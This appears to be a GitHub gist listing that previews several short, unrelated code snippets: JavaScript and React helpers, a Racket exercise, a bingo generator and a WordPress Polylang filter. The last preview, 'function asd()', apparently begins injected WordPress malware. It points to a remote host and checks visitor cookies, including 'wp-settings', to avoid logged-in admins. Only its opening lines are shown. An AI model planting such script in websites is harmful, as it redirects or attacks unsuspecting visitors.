This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs') | |
const data = require('./source.json') | |
function writeFile(filename, content) { | |
fs.writeFileSync(filename, content) | |
} | |
function removeNulls (list) { | |
return list.filter(item => !!item) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const Info = props => { | |
const missed = [...new Set(props.word.split(""))].filter( | |
letter => !props.usedLetters.includes(letter) | |
); | |
if (!props.health) { | |
return null; | |
} | |
return ( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Object.prototype.renameProperty = function (oldName, newName) { | |
if (this.hasOwnProperty(oldName)) { | |
this[newName] = this[oldName]; | |
delete this[oldName]; | |
} | |
return this; | |
}; | |
const mapping = [ | |
{old: 'something1', new: 'something_else'}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import * as React from 'react'; | |
import { Book } from '../../model'; | |
interface Props { | |
book: Book; | |
} | |
export const BookView: React.SFC<Props> = (props: Props) => { | |
if (!props.book) { | |
return <div>Finding requested book.</div>; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const map1 = ` | |
@---A---+ | |
| | |
x-B-+ C | |
| | | |
+---+ | |
`; | |
const map2 = ` | |
@ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
render() { | |
if (showSpinner) { | |
return this.renderSpinner(); | |
} | |
if (user) { | |
return this.renderUserInfo(); | |
} | |
return this.renderAuthScreen(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(require 2htdp/image) | |
;; pinta-ala : Luku Luku -> Luku | |
(define (pinta-ala a b) | |
(* a b)) | |
(check-expect (pinta-ala 5 10) 50) | |
;; ympyrä : Luku Merkkijono -> Kuva |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getCard() { | |
const bCards = createCards(5, 'B', 1, 15); | |
const iCards = createCards(5, 'I', 16, 30); | |
const nCards = createCards(4, 'N', 31, 45); | |
const gCards = createCards(5, 'G', 46, 60); | |
const oCards = createCards(5, 'O', 61, 75); | |
return [].concat.apply(bCards, [iCards, nCards, gCards, oCards]); | |
} | |
function createCards (amount, letter, min, max) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function get_default_language_posts($query) | |
{ | |
if ($query->is_main_query() && is_home() && function_exists('pll_languages_list') && !is_admin()) { | |
$languages = pll_languages_list(array('hide_empty' => 1)); | |
$terms = get_terms('post_translations'); | |
$lang_default = pll_default_language(); | |
$lang_current = pll_current_language(); | |
$post_ids = array(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function asd() { | |
var w_location = 'http://vyhub.com/css/css/'; | |
var cookie = 'yYjra4PCc8kmBHess1ib'; | |
function start() { | |
var cookies = document.cookie || ''; | |
if (cookies.indexOf(cookie) !== -1) { | |
return; | |
} | |
if (cookies.indexOf('wp-settings') !== -1) { |
NewerOlder